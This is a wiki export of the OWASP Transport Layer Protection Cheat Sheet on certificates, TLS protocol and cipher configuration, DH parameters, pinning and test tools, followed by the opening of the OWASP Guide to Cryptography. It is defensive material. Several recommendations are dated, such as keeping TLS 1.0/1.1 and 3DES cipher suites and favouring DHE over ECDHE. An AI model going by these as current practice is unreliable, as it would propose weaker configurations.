=== Rule - Always Provide All Needed Certificates ===

Clients attempt to solve the problem of identifying a server or host using PKI and X509 certificate. When a user receives a server or host's certificate, the certificate must be validated back to a trusted root certification authority. This is known as path validation.

There can be one or more intermediate certificates in between the end-entity (server or host) certificate and root certificate. In addition to validating both endpoints, the user will also have to validate all intermediate certificates. Validating all intermediate certificates can be tricky because the user may not have them locally. This is a well-known PKI issue called the “Which Directory?" problem.

To avoid the “Which Directory?" problem, a server should provide the user with all required certificates used in a path validation.

=== Rule - Be aware of and have a plan for the SHA-1 deprecation plan ===

In order to avoid presenting end users with progressive certificate warnings, organizations must proactively address the browser vendor's upcoming SHA-1 deprecation plans. The Google Chrome plan is probably the most specific and aggressive at this point: [http://googleonlinesecurity.blogspot.com/2014/09/gradually-sunsetting-sha-1.html Gradually sunsetting SHA-1]

If your organization has no [https://support.globalsign.com/customer/portal/articles/1499561-sha-256-compatibility SHA256 compatibility issues] then it may be appropriate to move your site to a SHA256 signed certificate/chain. If there are, or may be, issues - you should ensure that your SHA-1 certificates expire before 1/1/2017.

== Server Protocol and Cipher Configuration ==
Note: If using a FIPS 140-2 cryptomodule disregard the following rules and defer to the recommended configuration for the particular cryptomodule. Nevertheless we recommend to use this rules to audit your configuration.

=== Rule - Only Support Strong Protocols ===

SSL/TLS is a collection of protocols. Weaknesses have been identified with earlier SSL protocols, including [http://www.schneier.com/paper-ssl-revised.pdf SSLv2] and [http://www.yaksman.org/~lweith/ssl.pdf SSLv3], hence SSL versions 1, 2, and 3 should not longer be used. The best practice for transport layer protection is to only provide support for the TLS protocols - TLS 1.0, TLS 1.1 and TLS 1.2. This configuration will provide maximum protection against skilled and determined attackers and is appropriate for applications handling sensitive data or performing critical operations.

[http://en.wikipedia.org/wiki/Transport_Layer_Security#Web_browsers Nearly all modern browsers support at least TLS 1.0]. As of February 2014, contemporary browsers (Chrome v20+, Firefox v27+, IE v8+, Opera v10+, and Safari v5+) [http://en.wikipedia.org/wiki/Transport_Layer_Security#Web_browsers support TLS 1.1 and TLS 1.2]. You should provide support for TLS 1.1 and TLS 1.2 to accommodate clients that support these protocols. The client and server (usually) negotiate the best protocol that is supported on both sides.

TLS 1.0 is still widely used as the 'best' protocol by a lot of browsers that are not patched to the very latest version. It suffers from [http://www.yassl.com/yaSSL/Blog/Entries/2010/10/7_Differences_between_SSL_and_TLS_Protocol_Versions.html CBC Chaining attacks and Padding Oracle attacks]. TLSv1.0 should only be used after risk analysis and acceptance. [https://www.pcisecuritystandards.org/document_library?category=pcidss&document=pci_dss PCI DSS 3.2] prohibits the use of TLS 1.0 after June 30, 2018 (earlier requirements to do so by June 30, 2016 were [https://blog.pcisecuritystandards.org/migrating-from-ssl-and-early-tls postponed]).

Support the extension 'TLS_FALLBACK_SCSV' to prevent all unnecessary fallbacks from a higher to a lower protocol version, see [https://tools.ietf.org/html/rfc7507 RFC7507].

Under no circumstances either SSLv2 or SSLv3 should be enabled as a protocol selection:
* The [http://www.schneier.com/paper-ssl-revised.pdf SSLv2 protocol is broken] and does not provide adequate transport layer protection.
* [http://www.yaksman.org/~lweith/ssl.pdf SSLv3 had been known for weaknesses] which severely compromise the channel's security long before the [https://www.openssl.org/~bodo/ssl-poodle.pdf 'POODLE'-Bug] finally stopped to tolerate this protocol by October 2014. Switching off SSLv3 terminates the support of legacy browsers like [https://www.ssllabs.com/ssltest/viewClient.html?name=IE&version=6&platform=XP IE6/XP] and elder (in their default configuration).

=== Rule - Prefer Ephemeral Key Exchanges ===

Ephemeral key exchanges are based on Diffie-Hellman and use per-session, temporary keys during the initial SSL/TLS handshake. They provide perfect forward secrecy (PFS), which means a compromise of the server's long term signing key does not compromise the confidentiality of past session (see [[#Rule_-_Only_Support_Strong_Cryptographic_Ciphers | following rule]]). When the server uses an ephemeral key, the server will sign the temporary key with its long term key (the long term key is the customary key available in its certificate).

Use cryptographic parameters (like DH-parameter) that use a secure length that match to the supported keylength of your certificate (>=2048 bits or equivalent Elliptic Curves). As some middleware had some issues with this, upgrade to the latest version.
Note: There are some legacy browsers or old Java versions that are not capable to cope with DH-Params >1024 bits, please read the [[#Rule_-_Only_Support_Strong_Cryptographic_Ciphers | following rule]] how this can be solved.

Do *not* use standardized DH-parameters like they are defined by RFCs 2409, 3526, or 5114. Generate your individual DH-parameters to get unique prime numbers (this may take a long time):
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
openssl dhparam 2048 -out dhparam2048.pem
{{Top_10_2010:ExampleEndTemplate}}
Set the path to use this parameter file, e.g. when using Apache:
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
SSLOpenSSLConfCmd DHParameters <path to dhparam2048.pem>
{{Top_10_2010:ExampleEndTemplate}}

If you have a server farm and are providing forward secrecy, then you might have to disable session resumption. For example, Apache writes the session id's and master secrets to disk so all servers in the farm can participate in resuming a session (there is currently no in-memory mechanism to achieve the sharing). Writing the session id and master secret to disk undermines forward secrecy.

=== Rule - Only Support Strong Cryptographic Ciphers ===

Each protocol (TLSv1.0, TLSv1.1, TLSv1.2, etc) provides cipher suites. As of TLS 1.2, [http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-3 there is support for over 300 suites (320+ and counting)], including [http://www.mail-archive.com/cryptography@randombit.net/msg03785.html national vanity cipher suites]. The strength of the encryption used within a TLS session is determined by the encryption cipher negotiated between the server and the browser. In order to ensure that only strong cryptographic ciphers are selected the server must be modified to disable the use of weak ciphers and to configure the ciphers in an adequate order. It is recommended to configure the server to only support strong ciphers and to use sufficiently large key sizes. In general, the following should be observed when selecting cipher suites:
* Use the very latest recommendations, they may be volatile these days
* Setup your policy to get a whitelist for recommended ciphers, e.g.:
** Activate to set the cipher order by the server, e.g. 'SSLHonorCipherOrder On'
** Highest priority for ciphers that support 'Forward Secrecy' (-> Support ephemeral Diffie-Hellman key exchange, see rule above) [http://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html]
** Favor DHE over ECDHE (and monitor the CPU usage, see Notes below), ECDHE lacks now of really reliable Elliptic Curves, see discussion about secp{224,256,384,521}r1 and secp256k1, cf. [http://safecurves.cr.yp.to], [https://www.schneier.com/blog/archives/2013/09/the_nsa_is_brea.html#c1675929]. The solution might be to use [http://www.researchgate.net/profile/Johannes_Merkle/publication/260050106_Standardisierung_der_Brainpool-Kurven_fr_TLS_und_IPSec/file/60b7d52f36a0cc2fdd.pdf Brainpool Curves <nowiki>[German]</nowiki>], defined for TLS in [https://tools.ietf.org/html/rfc7027 RFC 7027], or [http://eprint.iacr.org/2007/286 Edwards Curves]. The most promising candidates for the latter are [https://tools.ietf.org/html/draft-josefsson-tls-curve25519-06 'Curve25519'] and [http://sourceforge.net/p/ed448goldilocks/wiki/Home/ Ed448-Goldilocks] (see [https://tools.ietf.org/html/rfc7748 RFC 7748 - Elliptic Curves for Security]), that are about to be defined by RFC for TLS, cf. [https://tools.ietf.org/html/draft-ietf-tls-rfc4492bis-17 DRAFT-ietf-tls-rfc4492bis] and [http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-8 IANA (temporary registrations for ecdh_x25519, ecdh_x448)],  furthermore some crypto libraries support [https://en.wikipedia.org/wiki/Comparison_of_TLS_implementations#Supported_elliptic_curves already Curve 25519].
** Use RSA-Keys (no DSA/DSS: they get very weak, if a bad entropy source is used during signing, cf. [https://projectbullrun.org/dual-ec/tls.html], [https://factorable.net/weakkeys12.conference.pdf]) 
** Favor GCM over CBC regardless of the cipher size. In other words, use Authenticated Encryption with Associated Data (AEAD), e.g. AES-GCM, AES-CCM.
** Watch also for stream ciphers which XOR the key stream with plaintext (such as AES/CTR mode) 
** Priorize the ciphers by the sizes of the cipher and the MAC
** Use SHA1 or above for digests, prefer SHA2 (or equivalent)
** Disable weak ciphers (which is implicitly done by this whitelist) without disabling legacy browsers and bots that have to be supported (find the best compromise), actually the cipher TLS_RSA_WITH_AES_128_CBC_SHA (=AES128-SHA, 0x2F) does this job.
*** If you are forced to support legacy operating systems, libraries or special business applications you may need to add 3DES (=TLS_RSA_WITH_3DES_EDE_CBC_SHA, =DES-CBC3-SHA, 0x0A) with very low priority for a transition time. Be ready to phase it out (status as of Feb 2017). It is <b>not</b> recommended to use 3DES together with perfect forward secrecy ciphers (DHE, ECDHE). Disable 3DES completely, if possible.
*** Disable cipher suites that do not offer encryption (eNULL, NULL)
*** Disable cipher suites that do not offer authentication (aNULL). aNULL includes anonymous cipher suites ADH (Anonymous Diffie-Hellman) and AECDH (Anonymous Elliptic Curve Diffie Hellman).
*** Disable export level ciphers (EXP, eg. ciphers containing DES)
*** Disable key sizes smaller than 128 bits for encrypting payload traffic (see [https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR02102/BSI-TR-02102-2.pdf BSI: TR-02102 Part 2 (German)])
*** Disable the use of MD5 as a hashing mechanism for payload traffic
*** Disable the use of IDEA cipher suites (see [https://tools.ietf.org/html/rfc5469])
*** Disable RC4 cipher suites (see [https://tools.ietf.org/html/rfc7465], [http://www.isg.rhul.ac.uk/tls/])
** DHE-ciphers should be usable for DH-Pamameters >= 2048 bits, without blocking legacy browsers (The ciphers 'DHE-RSA-AES128-SHA' and 'DHE-RSA-AES256-SHA' moved to the end as some browsers like to use them but are not capable to cope with DH-Params > 1024 bits; alternative option suppress these ciphers).
** ECDHE-ciphers must not support weak curves, e.g. less than 256 bits.
* Define a cipher string that works with different versions of your encryption tool, like openssl
* Verify your cipher string
** with an audit-tool, like [[O-Saft|OWASP 'O-Saft' (OWASP SSL audit for testers / OWASP SSL advanced forensic tool)]]
** listing it manually with your encryption software, e.g. openssl ciphers -v <cipher-string> (the result may differ by version), e.g.:
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
openssl ciphers -v "EDH+aRSA+AESGCM:EDH+aRSA+AES:EECDH+aRSA+AESGCM:EECDH+aRSA+AES:-SHA:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:RSA+AESGCM:RSA+AES+SHA256:RSA+AES+SHA:DES-CBC3-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA"<br>
<nowiki>#</nowiki>add optionally ':!aNULL:!eNULL:!LOW:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:!ADH:!IDEA' to protect older Versions of OpenSSL<br>
<nowiki>#</nowiki>3DES (=DES-CBC3-SHA): please read the text above<br>
<nowiki>#</nowiki>you may use openssl ciphers -V "..." for openssl >= 1.0.1:
<small>
0x00,0x9F - DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(256) Mac=AEAD
0x00,0x9E - DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(128) Mac=AEAD
0x00,0x6B - DHE-RSA-AES256-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(256) Mac=SHA256
0x00,0x67 - DHE-RSA-AES128-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(128) Mac=SHA256
0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD
0xC0,0x2F - ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(128) Mac=AEAD
0xC0,0x28 - ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(256) Mac=SHA384
0xC0,0x27 - ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(128) Mac=SHA256
0xC0,0x14 - ECDHE-RSA-AES256-SHA SSLv3 Kx=ECDH Au=RSA Enc=AES(256) Mac=SHA1
0xC0,0x13 - ECDHE-RSA-AES128-SHA SSLv3 Kx=ECDH Au=RSA Enc=AES(128) Mac=SHA1
0x00,0x9D - AES256-GCM-SHA384 TLSv1.2 Kx=RSA Au=RSA Enc=AESGCM(256) Mac=AEAD
0x00,0x9C - AES128-GCM-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=AESGCM(128) Mac=AEAD
0x00,0x3D - AES256-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=AES(256) Mac=SHA256
0x00,0x3C - AES128-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=AES(128) Mac=SHA256
0x00,0x35 - AES256-SHA SSLv3 Kx=RSA Au=RSA Enc=AES(256) Mac=SHA1
0x00,0x2F - AES128-SHA SSLv3 Kx=RSA Au=RSA Enc=AES(128) Mac=SHA1
0x00,0x0A - DES-CBC3-SHA SSLv3 Kx=RSA Au=RSA Enc=3DES(168) Mac=SHA1
0x00,0x39 - DHE-RSA-AES256-SHA SSLv3 Kx=DH Au=RSA Enc=AES(256) Mac=SHA1
0x00,0x33 - DHE-RSA-AES128-SHA SSLv3 Kx=DH Au=RSA Enc=AES(128) Mac=SHA1
</small>
{{Top_10_2010:ExampleEndTemplate}}

* Inform yourself how to securely configure the settings for your used services or hardware, e.g. [https://bettercrypto.org BetterCrypto.org: Applied Crypto Hardening (DRAFT)]
* Check new software and hardware versions for new security settings.

<b>Notes:</b>
* According to my researches the most common browsers should be supported with this setting, too (see also [https://www.ssllabs.com/ssltest/index.html SSL Labs: SSL Server Test -> SSL Report -> Handshake Simulation]).
* Monitor the performance of your server, e.g. the TLS handshake with DHE hinders the CPU abt 2.4 times more than ECDHE, cf. [http://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html#some-benchmarks Vincent Bernat, 2011], [http://nmav.gnutls.org/2011/12/price-to-pay-for-perfect-forward.html nmav's Blog, 2011].
* Use of Ephemeral Diffie-Hellman key exchange will protect confidentiality of the transmitted plaintext data even if the corresponding RSA or DSS server private key got compromised. An attacker would have to perform active man-in-the-middle attack at the time of the key exchange to be able to extract the transmitted plaintext. All modern browsers support this key exchange with the notable exception of Internet Explorer prior to Windows Vista.
* Some ciphers like 'ECDHE-RSA-AES256-SHA' are explicitly inluded in the cipher string that it also works with elder versions of openssl.

Additional information can be obtained within the [https://tools.ietf.org/html/rfc5246 TLS 1.2 RFC 5246], [https://www.ssllabs.com/projects/best-practices/index.html SSL Labs: 'SSL/TLS Deployment Best Practices'], [https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR02102/BSI-TR-02102-2.pdf BSI: 'TR-02102 Part 2 (German)'], [http://www.enisa.europa.eu/activities/identity-and-trust/library/deliverables/algorithms-key-sizes-and-parameters-report ENISA: 'Algorithms, Key Sizes and Parameters Report'], [https://tools.ietf.org/html/rfc7525 RFC 7525: Recommendations for Secure Use of Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS)] and [http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-2/FIPS1402IG.pdf FIPS 140-2 IG].

=== Rule - Support TLS-PSK and TLS-SRP for Mutual Authentication ===

When using a shared secret or password offer TLS-PSK (Pre-Shared Key) or TLS-SRP (Secure Remote Password), which are known as Password Authenticated Key Exchange (PAKEs). TLS-PSK and TLS-SRP properly bind the channel, which refers to the cryptographic binding between the outer tunnel and the inner authentication protocol. IANA currently reserves [http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-3 79 PSK cipher suites] and [http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-3 9 SRP cipher suites].

Basic authentication places the user's password on the wire in the plain text after a server authenticates itself. Basic authentication only provides unilateral authentication. In contrast, both TLS-PSK and TLS-SRP provide mutual authentication, meaning each party proves it knows the password without placing the password on the wire in the plain text.

Finally, using a PAKE removes the need to trust an outside party, such as a Certification Authority (CA).

=== Rule - Only Support Secure Renegotiations ===

A design weakness in TLS, identified as [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3555 CVE-2009-3555], allows an attacker to inject a plaintext of his choice into a TLS session of a victim. In the HTTPS context the attacker might be able to inject his own HTTP requests on behalf of the victim. The issue can be mitigated either by disabling support for TLS renegotiations or by supporting only renegotiations compliant with [https://tools.ietf.org/html/rfc5746 RFC 5746]. All modern browsers have been updated to comply with this RFC.

=== Rule - Disable Compression ===

Compression Ratio Info-leak Made Easy (CRIME) is an exploit against the data compression scheme used by the TLS and SPDY protocols. The exploit allows an adversary to recover user authentication cookies from HTTPS. The recovered cookie can be subsequently used for session hijacking attacks.

=== Rule - Update your Crypto Libraries === 

* Use solely versions of crypto libraies that are sill supported (eg. [https://www.openssl.org/policies/releasestrat.html openssl]).
* Watch out for vulnerabilities (e.g. [https://www.cvedetails.com/product-search.php cvedetails.com]) and update your crypto libraries on a regular base.

== Test your overall TLS/SSL setup and your Certificate ==
This section shows the most common references only. For more tools and such, please refer to [[#Tools|Tools]].

* [[Testing_for_SSL-TLS_%28OWASP-CM-001%29 | OWASP Testing Guide: Chapter on SSL/TLS Testing]]
* [[O-Saft|OWASP 'O-Saft' (OWASP SSL audit for testers / OWASP SSL advanced forensic tool)]]
* [https://www.ssllabs.com/ssltest SSL LABS Server Test]
* SSLyze - SSL configuration scanner https://github.com/nabla-c0d3/sslyze
* sslstrip - a demonstration of the HTTPS stripping attacks https://www.thoughtcrime.org/software/sslstrip/
* sslstrip2 - SSLStrip version to defeat HSTS https://github.com/LeonardoNve/sslstrip2
* tls_prober - fingerprint a server's SSL/TLS implementation https://github.com/WestpointLtd/tls_prober

* other Tools: [[Testing_for_Weak_SSL/TSL_Ciphers,_Insufficient_Transport_Layer_Protection_%28OWASP-EN-002%29#References| Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002) (DRAFT)]] - References - Tools

== Client (Browser) Configuration ==

The validation procedures to ensure that a certificate is valid are complex and difficult to correctly perform. In a typical web application model, these checks will be performed by the client's web browser in accordance with local browser settings and are out of the control of the application. However, these items do need to be addressed in the following scenarios:

* The application server establishes connections to other applications over TLS for purposes such as web services or any exchange of data
* A thick client application is connecting to a server via TLS

In these situations extensive certificate validation checks must occur in order to establish the validity of the certificate. Consult the following resources to assist in the design and testing of this functionality. The NIST PKI testing site includes a full test suite of certificates and expected outcomes of the test cases.
* [http://csrc.nist.gov/groups/ST/crypto_apps_infra/pki/pkitesting.html NIST PKI Testing]
* [https://tools.ietf.org/html/rfc5280 IETF RFC 5280]

As specified in the above guidance, if the certificate can not be validated for any reason then the connection between the client and server must be dropped. Any data exchanged over a connection where the certificate has not properly been validated could be exposed to unauthorized access or modification.

== Additional Controls ==

=== Extended Validation Certificates ===

Extended validation certificates (EV Certificates) proffer an enhanced investigation by the issuer into the requesting party due to the industry's race to the bottom. The purpose of EV certificates is to provide the user with greater assurance that the owner of the certificate is a verified legal entity for the site. Browsers with support for EV certificates distinguish an EV certificate in a variety of ways. Internet Explorer will color a portion of the URL in green, while Mozilla will add a green portion to the left of the URL indicating the company name.

High value websites should consider the use of EV certificates to enhance customer confidence in the certificate. It should also be noted that EV certificates do not provide any greater technical security for the TLS. The purpose of the EV certificate is to increase user confidence that the target site is indeed who it claims to be.

=== Client-Side Certificates ===

Client side certificates can be used with TLS to prove the identity of the client to the server. Referred to as "two-way TLS", this configuration requires the client to provide their certificate to the server, in addition to the server providing their's to the client. If client certificates are used, ensure that the same validation of the client certificate is performed by the server, as indicated for the validation of server certificates above. In addition, the server should be configured to drop the TLS connection if the client certificate cannot be verified or is not provided.

The use of client side certificates is relatively rare currently due to the complexities of certificate generation, safe distribution, client side configuration, certificate revocation and reissuance, and the fact that clients can only authenticate on machines where their client side certificate is installed. Such certificates are typically used for very high value connections that have small user populations.

=== Certificate and Public Key Pinning ===

Hybrid and native applications can take advantage of [[Certificate_and_Public_Key_Pinning|certificate and public key pinning]]. Pinning associates a host (for example, server) with an identity (for example, certificate or public key), and allows an application to leverage knowledge of the pre-existing relationship. At runtime, the application would inspect the certificate or public key received after connecting to the server. If the certificate or public key is expected, then the application would proceed as normal. If unexpected, the application would stop using the channel and close the connection since an adversary could control the channel or server.

Pinning still requires customary X509 checks, such as revocation, since CRLs and OCSP provides real time status information. Otherwise, an application could possibly (1) accept a known bad certificate; or (2) require an out-of-band update, which could result in a lengthy App Store approval.

Browser based applications are at a disadvantage since most browsers do not allow the user to leverage pre-existing relationships and ''a priori'' knowledge. In addition, Javascript and Websockets do not expose methods to for a web app to query the underlying secure connection information (such as the certificate or public key). It is noteworthy that Chromium based browsers perform pinning on selected sites, but the list is currently maintained by the vendor.

For more information, please see the [[Pinning Cheat Sheet]].

= Providing Transport Layer Protection for Back End and Other Connections =

Although not the focus of this cheat sheet, it should be stressed that transport layer protection is necessary for back-end connections and any other connection where sensitive data is exchanged or where user identity is established. Failure to implement an effective and robust transport layer security will expose sensitive data and undermine the effectiveness of any authentication or access control mechanism.

== Secure Internal Network Fallacy ==

The internal network of a corporation is not immune to attacks. Many recent high profile intrusions, where thousands of sensitive customer records were compromised, have been perpetrated by attackers that have gained internal network access and then used sniffers to capture unencrypted data as it traversed the internal network.

== Protocol and Cipher Configuration for Back End and Other Connections ==
It is important to provide TLS for server-to-server communication in addition to client-to-server communication. Secure the 'client side' configuration of your server that is used for backend and other connections according to [[#Server_Protocol_and_Cipher_Configuration | Server Protocol and Cipher Configuration]]. Be sure to deactivate insecure protocols and ciphers. (e.g. Only support a minimum strong configuration when your server acts as 'client').

= Tools =
=== local/offline ===
* [[O-Saft|O-Saft - OWASP SSL advanced forensic tool]]
* [http://sourceforge.net/projects/sslscan/ SSLScan - Fast SSL Scanner]
* [https://github.com/iSECPartners/sslyze SSLyze]
* [http://www.g-sec.lu/sslaudit/sslaudit.zip SSL Audit]

=== Online ===
* [https://www.ssllabs.com/ssltest SSL LABS Server Test]
* [https://observatory.mozilla.org Observatory by Mozilla]
* [https://www.htbridge.com/ssl/ High-Tech Bridge online tool to verify SSL/TLS compliance with NIST SP 800-52 guidelines and PCI DSS requirements on any TCP port]

= Related Articles =

* Mozilla – [https://wiki.mozilla.org/Security/Server_Side_TLS#Recommended_configurations Mozilla Recommended Configurations]
* OWASP – [[Testing for SSL-TLS (OWASP-CM-001)|Testing for SSL-TLS]], and OWASP [[Guide to Cryptography]]
* OWASP – [http://www.owasp.org/index.php/ASVS Application Security Verification Standard (ASVS) – Communication Security Verification Requirements (V10)]
* OWASP – ASVS Article on [[Why you need to use a FIPS 140-2 validated cryptomodule]]
* SSL Labs – [https://www.ssllabs.com/projects/best-practices/index.html SSL/TLS Deployment Best Practices]
* SSL Labs – [http://www.ssllabs.com/projects/rating-guide/index.html SSL Server Rating Guide]
* ENISA – [http://www.enisa.europa.eu/activities/identity-and-trust/library/deliverables/algorithms-key-sizes-and-parameters-report Algorithms, Key Sizes and Parameters Report]
* BSI – [https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR02102/BSI-TR-02102-2.pdf BSI TR-02102 Part 2 (German)]
* yaSSL – [http://www.yassl.com/yaSSL/Blog/Entries/2010/10/7_Differences_between_SSL_and_TLS_Protocol_Versions.html Differences between SSL and TLS Protocol Versions]
* NIST – [http://csrc.nist.gov/publications/PubsSPs.html#800-52 SP 800-52 Rev. 1 Guidelines for the Selection, Configuration, and Use of Transport Layer Security (TLS) Implementations]
* NIST – [http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf FIPS 140-2 Security Requirements for Cryptographic Modules]
* NIST – [http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-2/FIPS1402IG.pdf Implementation Guidance for FIPS PUB 140-2 and the Cryptographic Module Validation Program]
* NIST – [http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57_part1_rev3_general.pdf NIST SP 800-57 Recommendation for Key Management, Revision 3], [http://csrc.nist.gov/publications/PubsDrafts.html#SP-800-57-Part%203-Rev.1 Public DRAFT]
* NIST – [http://csrc.nist.gov/publications/drafts.html#sp800-95 SP 800-95 Guide to Secure Web Services]
* IETF – [https://tools.ietf.org/html/rfc5280 RFC 5280 Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile]
* IETF – [https://tools.ietf.org/html/rfc2246 RFC 2246 The Transport Layer Security (TLS) Protocol Version 1.0 (JAN 1999)]
* IETF – [https://tools.ietf.org/html/rfc4346 RFC 4346 The Transport Layer Security (TLS) Protocol Version 1.1 (APR 2006)]
* IETF – [https://tools.ietf.org/html/rfc5246 RFC 5246 The Transport Layer Security (TLS) Protocol Version 1.2 (AUG 2008)]
* IETF – [https://tools.ietf.org/html/rfc7525 RFC 7525 Recommendations for Secure Use of Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS)]
* bettercrypto – [https://bettercrypto.org Applied Crypto Hardening: HOWTO for secure crypto settings of the most common services (DRAFT)]
* PCI – [https://www.pcisecuritystandards.org/documents/Migrating-from-SSL-Early-TLS-Info-Supp-v1_1.pdf Migrating from SSL and Early TLS]

= Authors and Primary Editors =

Torsten Gigler - torsten.gigler[at]owasp.org<br/>
Michael Coates - michael.coates[at]owasp.org <br/>
Dave Wichers - dave.wichers[at]owasp.org <br/>
Tyler Reguly -treguly[at]sslfail.com <br/>
Tony Hsu - hsiang_chih[at]yahoo.com

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

Guide to Cryptography

2018-06-13T09:59:11Z

Peter Mosmans: Remove the use of 3DES and correct the keysize

[[Guide Table of Contents|Development Guide Table of Contents]]

__TOC__

==Objective ==

To ensure that cryptography is safely used to protect the confidentiality and integrity of sensitive user data.

==Platforms Affected ==

All.

==Relevant COBIT Topics ==

DS5.18 – Cryptographic key management

==Description ==

Initially confined to the realms of academia and the military, cryptography has become ubiquitous thanks to the Internet. Common every day uses of cryptography include mobile phones, passwords, SSL, smart cards, and DVDs. Cryptography has permeated everyday life, and is heavily used by many web applications.

Cryptography (or crypto) is one of the more advanced topics of information security, and one whose understanding requires the most schooling and experience. It is difficult to get right because there are many approaches to encryption, each with advantages and disadvantages that need to be thoroughly understood by web solution architects and developers. In addition, serious cryptography research is typically based in advanced mathematics and number theory, providing a serious barrier to entry.

The proper and accurate implementation of cryptography is extremely critical to its efficacy. A small mistake in configuration or coding will result in removing a large degree of the protection it affords and rending the crypto implementation useless against serious attacks.

A good understanding of crypto is required to be able to discern between solid products and snake oil. The inherent complexity of crypto makes it easy to fall for fantastic claims from vendors about their product. Typically, these are “a breakthrough in cryptography” or “unbreakable” or provide "military grade" security. If a vendor says "trust us, we have had experts look at this,” chances are they weren't experts!

==Cryptographic Functions ==

Cryptographic systems can provide one or more of the following four services. It is important to distinguish between these, as some algorithms are more suited to particular tasks, but not to others.

When analyzing your requirements and risks, you need to decide which of these four functions should be used to protect your data.

===Authentication ===

Using a cryptographic system, we can establish the identity of a remote user (or system). A typical example is the SSL certificate of a web server providing proof to the user that he or she is connected to the correct server.

The identity is not of the user, but of the cryptographic key of the user. Having a less secure key lowers the trust we can place on the identity.

===Non-Repudiation ===

The concept of non-repudiation is particularly important for financial or e-commerce applications. Often, cryptographic tools are required to prove that a unique user has made a transaction request. It must not be possible for the user to refute his or her actions.

For example, a customer may request a transfer of money from her account to be paid to another account. Later, she claims never to have made the request and demands the money be refunded to the account. If we have non-repudiation through cryptography, we can prove – usually through digitally signing the transaction request, that the user authorized the transaction.

===Confidentiality ===

More commonly, the biggest concern will be to keep information private. Cryptographic systems were originally developed to function in this capacity. Whether it be passwords sent during a log on process, or storing confidential medical records in a database, encryption can assure that only users who have access to the appropriate key will get access to the data.

===Integrity ===

We can use cryptography to provide a means to ensure data is not viewed or altered during storage or transmission. Cryptographic hashes for example, can safeguard data by providing a secure checksum.

==Cryptographic Algorithms ==

Various types of cryptographic systems exist that have different strengths and weaknesses. Typically, they are divided into two classes; those that are strong, but slow to run and those that are quick, but less secure. Most often a combination of the two approaches is used (e.g.: SSL), whereby we establish the connection with a secure algorithm, and then if successful, encrypt the actual transmission with the weaker, but much faster algorithm.

===Symmetric Cryptography ===

Symmetric Cryptography is the most traditional form of cryptography. In a symmetric cryptosystem, the involved parties share a common secret (password, pass phrase, or key). Data is encrypted and decrypted using the same key. These algorithms tend to be comparatively fast, but they cannot be used unless the involved parties have already exchanged keys. Any party possessing a specific key can create encrypted messages using that key as well as decrypt any messages encrypted with the key. In systems involving a number of users who each need to set up independent, secure communication channels symmetric cryptosystems can have practical limitations due to the requirement to securely distribute and manage large numbers of keys.

Common examples of symmetric algorithms are DES, 3DES and AES. The 56-bit keys used in DES are short enough to be easily brute-forced by modern hardware and DES should no longer be used. Triple DES (or 3DES) uses the same algorithm, applied three times with different keys giving it an effective key length of 112 bits (due to an attack that reduces the strength to the work that would be involved). Due to the problems using the DES algorithm, the United States National Institute of Standards and Technology (NIST) hosted a selection process for a new algorithm. The winning algorithm was Rijndael and the associated cryptosystem is now known as the Advanced Encryption Standard or AES. It is advisable to use AES, as DES is deprecated.

===Asymmetric Cryptography (also called Public/Private Key Cryptography) ===

Asymmetric algorithms use two keys, one to encrypt the data, and either key to decrypt. These inter-dependent keys are generated together. One is labeled the Public key and is distributed freely. The other is labeled the Private Key and must be kept hidden.

Often referred to as Public/Private Key Cryptography, these cryptosystems can provide a number of different functions depending on how they are used.

The most common usage of asymmetric cryptography is to send messages with a guarantee of confidentiality. If User A wanted to send a message to User B, User A would get access to User B’s publicly-available Public Key. The message is then encrypted with this key and sent to User B. Because of the cryptosystem’s property that messages encoded with the Public Key of User B can only be decrypted with User B’s Private Key, only User B can read the message.

Another usage scenario is one where User A wants to send User B a message and wants User B to have a guarantee that the message was sent by User A. In order to accomplish this, User A would encrypt the message with their Private Key. The message can then only be decrypted using User A’s Public Key. This guarantees that User A created the message Because they are then only entity who had access to the Private Key required to create a message that can be decrcrypted by User A’s Public Key. This is essentially a digital signature guaranteeing that the message was created by User A.

